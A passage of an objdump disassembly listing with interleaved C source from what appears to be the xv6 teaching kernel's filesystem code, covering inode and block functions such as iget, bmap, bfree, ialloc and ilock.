8010118a: 8b 5d e4 mov -0x1c(%ebp),%ebx
8010118d: 88 4c 13 5c mov %cl,0x5c(%ebx,%edx,1)
log_write(bp);
80101191: 89 1c 24 mov %ebx,(%esp)
80101194: e8 f7 1a 00 00 call 80102c90 <log_write>
brelse(bp);
80101199: 89 1c 24 mov %ebx,(%esp)
8010119c: e8 3f f0 ff ff call 801001e0 <brelse>
bp = bread(dev, bno);
801011a1: 8b 45 d8 mov -0x28(%ebp),%eax
801011a4: 89 74 24 04 mov %esi,0x4(%esp)
801011a8: 89 04 24 mov %eax,(%esp)
801011ab: e8 20 ef ff ff call 801000d0 <bread>
memset(bp->data, 0, BSIZE);
801011b0: c7 44 24 08 00 02 00 movl $0x200,0x8(%esp)
801011b7: 00
801011b8: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
801011bf: 00
bp = bread(dev, bno);
801011c0: 89 c3 mov %eax,%ebx
memset(bp->data, 0, BSIZE);
801011c2: 8d 40 5c lea 0x5c(%eax),%eax
801011c5: 89 04 24 mov %eax,(%esp)
801011c8: e8 93 30 00 00 call 80104260 <memset>
log_write(bp);
801011cd: 89 1c 24 mov %ebx,(%esp)
801011d0: e8 bb 1a 00 00 call 80102c90 <log_write>
brelse(bp);
801011d5: 89 1c 24 mov %ebx,(%esp)
801011d8: e8 03 f0 ff ff call 801001e0 <brelse>
}
801011dd: 83 c4 2c add $0x2c,%esp
801011e0: 89 f0 mov %esi,%eax
801011e2: 5b pop %ebx
801011e3: 5e pop %esi
801011e4: 5f pop %edi
801011e5: 5d pop %ebp
801011e6: c3 ret
801011e7: 89 f6 mov %esi,%esi
801011e9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
801011f0 <iget>:
// Find the inode with number inum on device dev
// and return the in-memory copy. Does not lock
// the inode and does not read it from disk.
static struct inode*
iget(uint dev, uint inum)
{
801011f0: 55 push %ebp
801011f1: 89 e5 mov %esp,%ebp
801011f3: 57 push %edi
801011f4: 89 c7 mov %eax,%edi
801011f6: 56 push %esi
struct inode *ip, *empty;
acquire(&icache.lock);
// Is the inode already cached?
empty = 0;
801011f7: 31 f6 xor %esi,%esi
{
801011f9: 53 push %ebx
for(ip = &icache.inode[0]; ip < &icache.inode[NINODE]; ip++){
801011fa: bb 14 0a 11 80 mov $0x80110a14,%ebx
{
801011ff: 83 ec 1c sub $0x1c,%esp
acquire(&icache.lock);
80101202: c7 04 24 e0 09 11 80 movl $0x801109e0,(%esp)
{
80101209: 89 55 e4 mov %edx,-0x1c(%ebp)
acquire(&icache.lock);
8010120c: e8 0f 2f 00 00 call 80104120 <acquire>
for(ip = &icache.inode[0]; ip < &icache.inode[NINODE]; ip++){
80101211: 8b 55 e4 mov -0x1c(%ebp),%edx
80101214: eb 14 jmp 8010122a <iget+0x3a>
80101216: 66 90 xchg %ax,%ax
if(ip->ref > 0 && ip->dev == dev && ip->inum == inum){
ip->ref++;
release(&icache.lock);
return ip;
}
if(empty == 0 && ip->ref == 0) // Remember empty slot.
80101218: 85 f6 test %esi,%esi
8010121a: 74 3c je 80101258 <iget+0x68>
for(ip = &icache.inode[0]; ip < &icache.inode[NINODE]; ip++){
8010121c: 81 c3 90 00 00 00 add $0x90,%ebx
80101222: 81 fb 34 26 11 80 cmp $0x80112634,%ebx
80101228: 74 46 je 80101270 <iget+0x80>
if(ip->ref > 0 && ip->dev == dev && ip->inum == inum){
8010122a: 8b 4b 08 mov 0x8(%ebx),%ecx
8010122d: 85 c9 test %ecx,%ecx
8010122f: 7e e7 jle 80101218 <iget+0x28>
80101231: 39 3b cmp %edi,(%ebx)
80101233: 75 e3 jne 80101218 <iget+0x28>
80101235: 39 53 04 cmp %edx,0x4(%ebx)
80101238: 75 de jne 80101218 <iget+0x28>
ip->ref++;
8010123a: 83 c1 01 add $0x1,%ecx
return ip;
8010123d: 89 de mov %ebx,%esi
release(&icache.lock);
8010123f: c7 04 24 e0 09 11 80 movl $0x801109e0,(%esp)
ip->ref++;
80101246: 89 4b 08 mov %ecx,0x8(%ebx)
release(&icache.lock);
80101249: e8 c2 2f 00 00 call 80104210 <release>
ip->ref = 1;
ip->valid = 0;
release(&icache.lock);
return ip;
}
8010124e: 83 c4 1c add $0x1c,%esp
80101251: 89 f0 mov %esi,%eax
80101253: 5b pop %ebx
80101254: 5e pop %esi
80101255: 5f pop %edi
80101256: 5d pop %ebp
80101257: c3 ret
80101258: 85 c9 test %ecx,%ecx
8010125a: 0f 44 f3 cmove %ebx,%esi
for(ip = &icache.inode[0]; ip < &icache.inode[NINODE]; ip++){
8010125d: 81 c3 90 00 00 00 add $0x90,%ebx
80101263: 81 fb 34 26 11 80 cmp $0x80112634,%ebx
80101269: 75 bf jne 8010122a <iget+0x3a>
8010126b: 90 nop
8010126c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
if(empty == 0)
80101270: 85 f6 test %esi,%esi
80101272: 74 29 je 8010129d <iget+0xad>
ip->dev = dev;
80101274: 89 3e mov %edi,(%esi)
ip->inum = inum;
80101276: 89 56 04 mov %edx,0x4(%esi)
ip->ref = 1;
80101279: c7 46 08 01 00 00 00 movl $0x1,0x8(%esi)
ip->valid = 0;
80101280: c7 46 4c 00 00 00 00 movl $0x0,0x4c(%esi)
release(&icache.lock);
80101287: c7 04 24 e0 09 11 80 movl $0x801109e0,(%esp)
8010128e: e8 7d 2f 00 00 call 80104210 <release>
}
80101293: 83 c4 1c add $0x1c,%esp
80101296: 89 f0 mov %esi,%eax
80101298: 5b pop %ebx
80101299: 5e pop %esi
8010129a: 5f pop %edi
8010129b: 5d pop %ebp
8010129c: c3 ret
panic("iget: no inodes");
8010129d: c7 04 24 d5 6e 10 80 movl $0x80106ed5,(%esp)
801012a4: e8 b7 f0 ff ff call 80100360 <panic>
801012a9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
801012b0 <bmap>:
// Return the disk block address of the nth block in inode ip.
// If there is no such block, bmap allocates one.
static uint
bmap(struct inode *ip, uint bn)
{
801012b0: 55 push %ebp
801012b1: 89 e5 mov %esp,%ebp
801012b3: 57 push %edi
801012b4: 56 push %esi
801012b5: 53 push %ebx
801012b6: 89 c3 mov %eax,%ebx
801012b8: 83 ec 1c sub $0x1c,%esp
uint addr, *a;
struct buf *bp;
if(bn < NDIRECT){
801012bb: 83 fa 0b cmp $0xb,%edx
801012be: 77 18 ja 801012d8 <bmap+0x28>
801012c0: 8d 34 90 lea (%eax,%edx,4),%esi
if((addr = ip->addrs[bn]) == 0)
801012c3: 8b 46 5c mov 0x5c(%esi),%eax
801012c6: 85 c0 test %eax,%eax
801012c8: 74 66 je 80101330 <bmap+0x80>
brelse(bp);
return addr;
}
panic("bmap: out of range");
}
801012ca: 83 c4 1c add $0x1c,%esp
801012cd: 5b pop %ebx
801012ce: 5e pop %esi
801012cf: 5f pop %edi
801012d0: 5d pop %ebp
801012d1: c3 ret
801012d2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
bn -= NDIRECT;
801012d8: 8d 72 f4 lea -0xc(%edx),%esi
if(bn < NINDIRECT){
801012db: 83 fe 7f cmp $0x7f,%esi
801012de: 77 77 ja 80101357 <bmap+0xa7>
if((addr = ip->addrs[NDIRECT]) == 0)
801012e0: 8b 80 8c 00 00 00 mov 0x8c(%eax),%eax
801012e6: 85 c0 test %eax,%eax
801012e8: 74 5e je 80101348 <bmap+0x98>
bp = bread(ip->dev, addr);
801012ea: 89 44 24 04 mov %eax,0x4(%esp)
801012ee: 8b 03 mov (%ebx),%eax
801012f0: 89 04 24 mov %eax,(%esp)
801012f3: e8 d8 ed ff ff call 801000d0 <bread>
if((addr = a[bn]) == 0){
801012f8: 8d 54 b0 5c lea 0x5c(%eax,%esi,4),%edx
bp = bread(ip->dev, addr);
801012fc: 89 c7 mov %eax,%edi
if((addr = a[bn]) == 0){
801012fe: 8b 32 mov (%edx),%esi
80101300: 85 f6 test %esi,%esi
80101302: 75 19 jne 8010131d <bmap+0x6d>
a[bn] = addr = balloc(ip->dev);
80101304: 8b 03 mov (%ebx),%eax
80101306: 89 55 e4 mov %edx,-0x1c(%ebp)
80101309: e8 c2 fd ff ff call 801010d0 <balloc>
8010130e: 8b 55 e4 mov -0x1c(%ebp),%edx
80101311: 89 02 mov %eax,(%edx)
80101313: 89 c6 mov %eax,%esi
log_write(bp);
80101315: 89 3c 24 mov %edi,(%esp)
80101318: e8 73 19 00 00 call 80102c90 <log_write>
brelse(bp);
8010131d: 89 3c 24 mov %edi,(%esp)
80101320: e8 bb ee ff ff call 801001e0 <brelse>
}
80101325: 83 c4 1c add $0x1c,%esp
brelse(bp);
80101328: 89 f0 mov %esi,%eax
}
8010132a: 5b pop %ebx
8010132b: 5e pop %esi
8010132c: 5f pop %edi
8010132d: 5d pop %ebp
8010132e: c3 ret
8010132f: 90 nop
ip->addrs[bn] = addr = balloc(ip->dev);
80101330: 8b 03 mov (%ebx),%eax
80101332: e8 99 fd ff ff call 801010d0 <balloc>
80101337: 89 46 5c mov %eax,0x5c(%esi)
}
8010133a: 83 c4 1c add $0x1c,%esp
8010133d: 5b pop %ebx
8010133e: 5e pop %esi
8010133f: 5f pop %edi
80101340: 5d pop %ebp
80101341: c3 ret
80101342: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
ip->addrs[NDIRECT] = addr = balloc(ip->dev);
80101348: 8b 03 mov (%ebx),%eax
8010134a: e8 81 fd ff ff call 801010d0 <balloc>
8010134f: 89 83 8c 00 00 00 mov %eax,0x8c(%ebx)
80101355: eb 93 jmp 801012ea <bmap+0x3a>
panic("bmap: out of range");
80101357: c7 04 24 e5 6e 10 80 movl $0x80106ee5,(%esp)
8010135e: e8 fd ef ff ff call 80100360 <panic>
80101363: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80101369: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80101370 <readsb>:
{
80101370: 55 push %ebp
80101371: 89 e5 mov %esp,%ebp
80101373: 56 push %esi
80101374: 53 push %ebx
80101375: 83 ec 10 sub $0x10,%esp
bp = bread(dev, 1);
80101378: 8b 45 08 mov 0x8(%ebp),%eax
8010137b: c7 44 24 04 01 00 00 movl $0x1,0x4(%esp)
80101382: 00
{
80101383: 8b 75 0c mov 0xc(%ebp),%esi
bp = bread(dev, 1);
80101386: 89 04 24 mov %eax,(%esp)
80101389: e8 42 ed ff ff call 801000d0 <bread>
memmove(sb, bp->data, sizeof(*sb));
8010138e: 89 34 24 mov %esi,(%esp)
80101391: c7 44 24 08 1c 00 00 movl $0x1c,0x8(%esp)
80101398: 00
bp = bread(dev, 1);
80101399: 89 c3 mov %eax,%ebx
memmove(sb, bp->data, sizeof(*sb));
8010139b: 8d 40 5c lea 0x5c(%eax),%eax
8010139e: 89 44 24 04 mov %eax,0x4(%esp)
801013a2: e8 59 2f 00 00 call 80104300 <memmove>
brelse(bp);
801013a7: 89 5d 08 mov %ebx,0x8(%ebp)
}
801013aa: 83 c4 10 add $0x10,%esp
801013ad: 5b pop %ebx
801013ae: 5e pop %esi
801013af: 5d pop %ebp
brelse(bp);
801013b0: e9 2b ee ff ff jmp 801001e0 <brelse>
801013b5: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
801013b9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
801013c0 <bfree>:
{
801013c0: 55 push %ebp
801013c1: 89 e5 mov %esp,%ebp
801013c3: 57 push %edi
801013c4: 89 d7 mov %edx,%edi
801013c6: 56 push %esi
801013c7: 53 push %ebx
801013c8: 89 c3 mov %eax,%ebx
801013ca: 83 ec 1c sub $0x1c,%esp
readsb(dev, &sb);
801013cd: 89 04 24 mov %eax,(%esp)
801013d0: c7 44 24 04 c0 09 11 movl $0x801109c0,0x4(%esp)
801013d7: 80
801013d8: e8 93 ff ff ff call 80101370 <readsb>
bp = bread(dev, BBLOCK(b, sb));
801013dd: 89 fa mov %edi,%edx
801013df: c1 ea 0c shr $0xc,%edx
801013e2: 03 15 d8 09 11 80 add 0x801109d8,%edx
801013e8: 89 1c 24 mov %ebx,(%esp)
m = 1 << (bi % 8);
801013eb: bb 01 00 00 00 mov $0x1,%ebx
bp = bread(dev, BBLOCK(b, sb));
801013f0: 89 54 24 04 mov %edx,0x4(%esp)
801013f4: e8 d7 ec ff ff call 801000d0 <bread>
m = 1 << (bi % 8);
801013f9: 89 f9 mov %edi,%ecx
bi = b % BPB;
801013fb: 81 e7 ff 0f 00 00 and $0xfff,%edi
80101401: 89 fa mov %edi,%edx
m = 1 << (bi % 8);
80101403: 83 e1 07 and $0x7,%ecx
if((bp->data[bi/8] & m) == 0)
80101406: c1 fa 03 sar $0x3,%edx
m = 1 << (bi % 8);
80101409: d3 e3 shl %cl,%ebx
bp = bread(dev, BBLOCK(b, sb));
8010140b: 89 c6 mov %eax,%esi
if((bp->data[bi/8] & m) == 0)
8010140d: 0f b6 44 10 5c movzbl 0x5c(%eax,%edx,1),%eax
80101412: 0f b6 c8 movzbl %al,%ecx
80101415: 85 d9 test %ebx,%ecx
80101417: 74 20 je 80101439 <bfree+0x79>
bp->data[bi/8] &= ~m;
80101419: f7 d3 not %ebx
8010141b: 21 c3 and %eax,%ebx
8010141d: 88 5c 16 5c mov %bl,0x5c(%esi,%edx,1)
log_write(bp);
80101421: 89 34 24 mov %esi,(%esp)
80101424: e8 67 18 00 00 call 80102c90 <log_write>
brelse(bp);
80101429: 89 34 24 mov %esi,(%esp)
8010142c: e8 af ed ff ff call 801001e0 <brelse>
}
80101431: 83 c4 1c add $0x1c,%esp
80101434: 5b pop %ebx
80101435: 5e pop %esi
80101436: 5f pop %edi
80101437: 5d pop %ebp
80101438: c3 ret
panic("freeing free block");
80101439: c7 04 24 f8 6e 10 80 movl $0x80106ef8,(%esp)
80101440: e8 1b ef ff ff call 80100360 <panic>
80101445: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80101449: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80101450 <iinit>:
{
80101450: 55 push %ebp
80101451: 89 e5 mov %esp,%ebp
80101453: 53 push %ebx
80101454: bb 20 0a 11 80 mov $0x80110a20,%ebx
80101459: 83 ec 24 sub $0x24,%esp
initlock(&icache.lock, "icache");
8010145c: c7 44 24 04 0b 6f 10 movl $0x80106f0b,0x4(%esp)
80101463: 80
80101464: c7 04 24 e0 09 11 80 movl $0x801109e0,(%esp)
8010146b: e8 c0 2b 00 00 call 80104030 <initlock>
initsleeplock(&icache.inode[i].lock, "inode");
80101470: 89 1c 24 mov %ebx,(%esp)
80101473: 81 c3 90 00 00 00 add $0x90,%ebx
80101479: c7 44 24 04 12 6f 10 movl $0x80106f12,0x4(%esp)
80101480: 80
80101481: e8 9a 2a 00 00 call 80103f20 <initsleeplock>
for(i = 0; i < NINODE; i++) {
80101486: 81 fb 40 26 11 80 cmp $0x80112640,%ebx
8010148c: 75 e2 jne 80101470 <iinit+0x20>
readsb(dev, &sb);
8010148e: 8b 45 08 mov 0x8(%ebp),%eax
80101491: c7 44 24 04 c0 09 11 movl $0x801109c0,0x4(%esp)
80101498: 80
80101499: 89 04 24 mov %eax,(%esp)
8010149c: e8 cf fe ff ff call 80101370 <readsb>
cprintf("sb: size %d nblocks %d ninodes %d nlog %d logstart %d\
801014a1: a1 d8 09 11 80 mov 0x801109d8,%eax
801014a6: c7 04 24 78 6f 10 80 movl $0x80106f78,(%esp)
801014ad: 89 44 24 1c mov %eax,0x1c(%esp)
801014b1: a1 d4 09 11 80 mov 0x801109d4,%eax
801014b6: 89 44 24 18 mov %eax,0x18(%esp)
801014ba: a1 d0 09 11 80 mov 0x801109d0,%eax
801014bf: 89 44 24 14 mov %eax,0x14(%esp)
801014c3: a1 cc 09 11 80 mov 0x801109cc,%eax
801014c8: 89 44 24 10 mov %eax,0x10(%esp)
801014cc: a1 c8 09 11 80 mov 0x801109c8,%eax
801014d1: 89 44 24 0c mov %eax,0xc(%esp)
801014d5: a1 c4 09 11 80 mov 0x801109c4,%eax
801014da: 89 44 24 08 mov %eax,0x8(%esp)
801014de: a1 c0 09 11 80 mov 0x801109c0,%eax
801014e3: 89 44 24 04 mov %eax,0x4(%esp)
801014e7: e8 64 f1 ff ff call 80100650 <cprintf>
}
801014ec: 83 c4 24 add $0x24,%esp
801014ef: 5b pop %ebx
801014f0: 5d pop %ebp
801014f1: c3 ret
801014f2: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
801014f9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80101500 <ialloc>:
{
80101500: 55 push %ebp
80101501: 89 e5 mov %esp,%ebp
80101503: 57 push %edi
80101504: 56 push %esi
80101505: 53 push %ebx
80101506: 83 ec 2c sub $0x2c,%esp
80101509: 8b 45 0c mov 0xc(%ebp),%eax
for(inum = 1; inum < sb.ninodes; inum++){
8010150c: 83 3d c8 09 11 80 01 cmpl $0x1,0x801109c8
{
80101513: 8b 7d 08 mov 0x8(%ebp),%edi
80101516: 89 45 e4 mov %eax,-0x1c(%ebp)
for(inum = 1; inum < sb.ninodes; inum++){
80101519: 0f 86 a2 00 00 00 jbe 801015c1 <ialloc+0xc1>
8010151f: be 01 00 00 00 mov $0x1,%esi
80101524: bb 01 00 00 00 mov $0x1,%ebx
80101529: eb 1a jmp 80101545 <ialloc+0x45>
8010152b: 90 nop
8010152c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
brelse(bp);
80101530: 89 14 24 mov %edx,(%esp)
for(inum = 1; inum < sb.ninodes; inum++){
80101533: 83 c3 01 add $0x1,%ebx
brelse(bp);
80101536: e8 a5 ec ff ff call 801001e0 <brelse>
for(inum = 1; inum < sb.ninodes; inum++){
8010153b: 89 de mov %ebx,%esi
8010153d: 3b 1d c8 09 11 80 cmp 0x801109c8,%ebx
80101543: 73 7c jae 801015c1 <ialloc+0xc1>
bp = bread(dev, IBLOCK(inum, sb));
80101545: 89 f0 mov %esi,%eax
80101547: c1 e8 03 shr $0x3,%eax
8010154a: 03 05 d4 09 11 80 add 0x801109d4,%eax
80101550: 89 3c 24 mov %edi,(%esp)
80101553: 89 44 24 04 mov %eax,0x4(%esp)
80101557: e8 74 eb ff ff call 801000d0 <bread>
8010155c: 89 c2 mov %eax,%edx
dip = (struct dinode*)bp->data + inum%IPB;
8010155e: 89 f0 mov %esi,%eax
80101560: 83 e0 07 and $0x7,%eax
80101563: c1 e0 06 shl $0x6,%eax
80101566: 8d 4c 02 5c lea 0x5c(%edx,%eax,1),%ecx
if(dip->type == 0){ // a free inode
8010156a: 66 83 39 00 cmpw $0x0,(%ecx)
8010156e: 75 c0 jne 80101530 <ialloc+0x30>
memset(dip, 0, sizeof(*dip));
80101570: 89 0c 24 mov %ecx,(%esp)
80101573: c7 44 24 08 40 00 00 movl $0x40,0x8(%esp)
8010157a: 00
8010157b: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
80101582: 00
80101583: 89 55 dc mov %edx,-0x24(%ebp)
80101586: 89 4d e0 mov %ecx,-0x20(%ebp)
80101589: e8 d2 2c 00 00 call 80104260 <memset>
dip->type = type;
8010158e: 0f b7 45 e4 movzwl -0x1c(%ebp),%eax
log_write(bp); // mark it allocated on the disk
80101592: 8b 55 dc mov -0x24(%ebp),%edx
dip->type = type;
80101595: 8b 4d e0 mov -0x20(%ebp),%ecx
log_write(bp); // mark it allocated on the disk
80101598: 89 55 e4 mov %edx,-0x1c(%ebp)
dip->type = type;
8010159b: 66 89 01 mov %ax,(%ecx)
log_write(bp); // mark it allocated on the disk
8010159e: 89 14 24 mov %edx,(%esp)
801015a1: e8 ea 16 00 00 call 80102c90 <log_write>
brelse(bp);
801015a6: 8b 55 e4 mov -0x1c(%ebp),%edx
801015a9: 89 14 24 mov %edx,(%esp)
801015ac: e8 2f ec ff ff call 801001e0 <brelse>
}
801015b1: 83 c4 2c add $0x2c,%esp
return iget(dev, inum);
801015b4: 89 f2 mov %esi,%edx
}
801015b6: 5b pop %ebx
return iget(dev, inum);
801015b7: 89 f8 mov %edi,%eax
}
801015b9: 5e pop %esi
801015ba: 5f pop %edi
801015bb: 5d pop %ebp
return iget(dev, inum);
801015bc: e9 2f fc ff ff jmp 801011f0 <iget>
panic("ialloc: no inodes");
801015c1: c7 04 24 18 6f 10 80 movl $0x80106f18,(%esp)
801015c8: e8 93 ed ff ff call 80100360 <panic>
801015cd: 8d 76 00 lea 0x0(%esi),%esi
801015d0 <iupdate>:
{
801015d0: 55 push %ebp
801015d1: 89 e5 mov %esp,%ebp
801015d3: 56 push %esi
801015d4: 53 push %ebx
801015d5: 83 ec 10 sub $0x10,%esp
801015d8: 8b 5d 08 mov 0x8(%ebp),%ebx
bp = bread(ip->dev, IBLOCK(ip->inum, sb));
801015db: 8b 43 04 mov 0x4(%ebx),%eax
memmove(dip->addrs, ip->addrs, sizeof(ip->addrs));
801015de: 83 c3 5c add $0x5c,%ebx
bp = bread(ip->dev, IBLOCK(ip->inum, sb));
801015e1: c1 e8 03 shr $0x3,%eax
801015e4: 03 05 d4 09 11 80 add 0x801109d4,%eax
801015ea: 89 44 24 04 mov %eax,0x4(%esp)
801015ee: 8b 43 a4 mov -0x5c(%ebx),%eax
801015f1: 89 04 24 mov %eax,(%esp)
801015f4: e8 d7 ea ff ff call 801000d0 <bread>
dip = (struct dinode*)bp->data + ip->inum%IPB;
801015f9: 8b 53 a8 mov -0x58(%ebx),%edx
801015fc: 83 e2 07 and $0x7,%edx
801015ff: c1 e2 06 shl $0x6,%edx
80101602: 8d 54 10 5c lea 0x5c(%eax,%edx,1),%edx
bp = bread(ip->dev, IBLOCK(ip->inum, sb));
80101606: 89 c6 mov %eax,%esi
dip->type = ip->type;
80101608: 0f b7 43 f4 movzwl -0xc(%ebx),%eax
memmove(dip->addrs, ip->addrs, sizeof(ip->addrs));
8010160c: 83 c2 0c add $0xc,%edx
dip->type = ip->type;
8010160f: 66 89 42 f4 mov %ax,-0xc(%edx)
dip->major = ip->major;
80101613: 0f b7 43 f6 movzwl -0xa(%ebx),%eax
80101617: 66 89 42 f6 mov %ax,-0xa(%edx)
dip->minor = ip->minor;
8010161b: 0f b7 43 f8 movzwl -0x8(%ebx),%eax
8010161f: 66 89 42 f8 mov %ax,-0x8(%edx)
dip->nlink = ip->nlink;
80101623: 0f b7 43 fa movzwl -0x6(%ebx),%eax
80101627: 66 89 42 fa mov %ax,-0x6(%edx)
dip->size = ip->size;
8010162b: 8b 43 fc mov -0x4(%ebx),%eax
8010162e: 89 42 fc mov %eax,-0x4(%edx)
memmove(dip->addrs, ip->addrs, sizeof(ip->addrs));
80101631: 89 5c 24 04 mov %ebx,0x4(%esp)
80101635: 89 14 24 mov %edx,(%esp)
80101638: c7 44 24 08 34 00 00 movl $0x34,0x8(%esp)
8010163f: 00
80101640: e8 bb 2c 00 00 call 80104300 <memmove>
log_write(bp);
80101645: 89 34 24 mov %esi,(%esp)
80101648: e8 43 16 00 00 call 80102c90 <log_write>
brelse(bp);
8010164d: 89 75 08 mov %esi,0x8(%ebp)
}
80101650: 83 c4 10 add $0x10,%esp
80101653: 5b pop %ebx
80101654: 5e pop %esi
80101655: 5d pop %ebp
brelse(bp);
80101656: e9 85 eb ff ff jmp 801001e0 <brelse>
8010165b: 90 nop
8010165c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80101660 <idup>:
{
80101660: 55 push %ebp
80101661: 89 e5 mov %esp,%ebp
80101663: 53 push %ebx
80101664: 83 ec 14 sub $0x14,%esp
80101667: 8b 5d 08 mov 0x8(%ebp),%ebx
acquire(&icache.lock);
8010166a: c7 04 24 e0 09 11 80 movl $0x801109e0,(%esp)
80101671: e8 aa 2a 00 00 call 80104120 <acquire>
ip->ref++;
80101676: 83 43 08 01 addl $0x1,0x8(%ebx)
release(&icache.lock);
8010167a: c7 04 24 e0 09 11 80 movl $0x801109e0,(%esp)
80101681: e8 8a 2b 00 00 call 80104210 <release>
}
80101686: 83 c4 14 add $0x14,%esp
80101689: 89 d8 mov %ebx,%eax
8010168b: 5b pop %ebx
8010168c: 5d pop %ebp
8010168d: c3 ret
8010168e: 66 90 xchg %ax,%ax
80101690 <ilock>:
{
80101690: 55 push %ebp
80101691: 89 e5 mov %esp,%ebp
80101693: 56 push %esi
80101694: 53 push %ebx
80101695: 83 ec 10 sub $0x10,%esp
80101698: 8b 5d 08 mov 0x8(%ebp),%ebx
if(ip == 0 || ip->ref < 1)
8010169b: 85 db test %ebx,%ebx
8010169d: 0f 84 b3 00 00 00 je 80101756 <ilock+0xc6>
801016a3: 8b 53 08 mov 0x8(%ebx),%edx
801016a6: 85 d2 test %edx,%edx
801016a8: 0f 8e a8 00 00 00 jle 80101756 <ilock+0xc6>
acquiresleep(&ip->lock);
801016ae: 8d 43 0c lea 0xc(%ebx),%eax
801016b1: 89 04 24 mov %eax,(%esp)
801016b4: e8 a7 28 00 00 call 80103f60 <acquiresleep>
if(ip->valid == 0){
801016b9: 8b 43 4c mov 0x4c(%ebx),%eax
801016bc: 85 c0 test %eax,%eax
801016be: 74 08 je 801016c8 <ilock+0x38>
}
801016c0: 83 c4 10 add $0x10,%esp
801016c3: 5b pop %ebx
801016c4: 5e pop %esi
801016c5: 5d pop %ebp
801016c6: c3 ret
801016c7: 90 nop
bp = bread(ip->dev, IBLOCK(ip->inum, sb));
801016c8: 8b 43 04 mov 0x4(%ebx),%eax
801016cb: c1 e8 03 shr $0x3,%eax
801016ce: 03 05 d4 09 11 80 add 0x801109d4,%eax
801016d4: 89 44 24 04 mov %eax,0x4(%esp)
801016d8: 8b 03 mov (%ebx),%eax
801016da: 89 04 24 mov %eax,(%esp)
801016dd: e8 ee e9 ff ff call 801000d0 <bread>
dip = (struct dinode*)bp->data + ip->inum%IPB;
801016e2: 8b 53 04 mov 0x4(%ebx),%edx
801016e5: 83 e2 07 and $0x7,%edx
801016e8: c1 e2 06 shl $0x6,%edx
801016eb: 8d 54 10 5c lea 0x5c(%eax,%edx,1),%edx
bp = bread(ip->dev, IBLOCK(ip->inum, sb));
801016ef: 89 c6 mov %eax,%esi
ip->type = dip->type;
801016f1: 0f b7 02 movzwl (%edx),%eax
memmove(ip->addrs, dip->addrs, sizeof(ip->addrs));
801016f4: 83 c2 0c add $0xc,%edx
ip->type = dip->type;
801016f7: 66 89 43 50 mov %ax,0x50(%ebx)
ip->major = dip->major;
801016fb: 0f b7 42 f6 movzwl -0xa(%edx),%eax
801016ff: 66 89 43 52 mov %ax,0x52(%ebx)
ip->minor = dip->minor;
80101703: 0f b7 42 f8 movzwl -0x8(%edx),%eax
80101707: 66 89 43 54 mov %ax,0x54(%ebx)
ip->nlink = dip->nlink;
8010170b: 0f b7 42 fa movzwl -0x6(%edx),%eax
8010170f: 66 89 43 56 mov %ax,0x56(%ebx)
ip->size = dip->size;
80101713: 8b 42 fc mov -0x4(%edx),%eax
80101716: 89 43 58 mov %eax,0x58(%ebx)
memmove(ip->addrs, dip->addrs, sizeof(ip->addrs));
80101719: 8d 43 5c lea 0x5c(%ebx),%eax
8010171c: 89 54 24 04 mov %edx,0x4(%esp)
80101720: c7 44 24 08 34 00 00 movl $0x34,0x8(%esp)
80101727: 00
80101728: 89 04 24 mov %eax,(%esp)
8010172b: e8 d0 2b 00 00 call 80104300 <memmove>
brelse(bp);
80101730: 89 34 24 mov %esi,(%esp)
80101733: e8 a8 ea ff ff call 801001e0 <brelse>
if(ip->type == 0)
80101738: 66 83 7b 50 00 cmpw $0x0,0x50(%ebx)
ip->valid = 1;
8010173d: c7 43 4c 01 00 00 00 movl $0x1,0x4c(%ebx)
if(ip->type == 0)
80101744: 0f 85 76 ff ff ff jne 801016c0 <ilock+0x30>
panic("ilock: no type");
8010174a: c7 04 24 30 6f 10 80 movl $0x80106f30,(%esp)
80101751: e8 0a ec ff ff call 80100360 <panic>
panic("ilock");
80101756: c7 04 24 2a 6f 10 80 movl $0x80106f2a,(%esp)
8010175d: e8 fe eb ff ff call 80100360 <panic>
80101762: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80101769: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80101770 <iunlock>:
{
80101770: 55 push %ebp
80101771: 89 e5 mov %esp,%ebp
80101773: 56 push %esi
80101774: 53 push %ebx
80101775: 83 ec 10 sub $0x10,%esp
80101778: 8b 5d 08 mov 0x8(%ebp),%ebx
if(ip == 0 || !holdingsleep(&ip->lock) || ip->ref < 1)
8010177b: 85 db test %ebx,%ebx
8010177d: 74 24 je 801017a3 <iunlock+0x33>
8010177f: 8d 73 0c lea 0xc(%ebx),%esi
80101782: 89 34 24 mov %esi,(%esp)
80101785: e8 76 28 00 00 call 80104000 <holdingsleep>
8010178a: 85 c0 test %eax,%eax
8010178c: 74 15 je 801017a3 <iunlock+0x33>
8010178e: 8b 43 08 mov 0x8(%ebx),%eax
80101791: 85 c0 test %eax,%eax
80101793: 7e 0e jle 801017a3 <iunlock+0x33>
releasesleep(&ip->lock);
80101795: 89 75 08 mov %esi,0x8(%ebp)
}
80101798: 83 c4 10 add $0x10,%esp
8010179b: 5b pop %ebx
8010179c: 5e pop %esi
8010179d: 5d pop %ebp
releasesleep(&ip->lock);
8010179e: e9 1d 28 00 00 jmp 80103fc0 <releasesleep>
panic("iunlock");
801017a3: c7 04 24 3f 6f 10 80 movl $0x80106f3f,(%esp)
801017aa: e8 b1 eb ff ff call 80100360 <panic>
801017af: 90 nop
801017b0 <iput>:
{
801017b0: 55 push %ebp
801017b1: 89 e5 mov %esp,%ebp
801017b3: 57 push %edi
801017b4: 56 push %esi
801017b5: 53 push %ebx
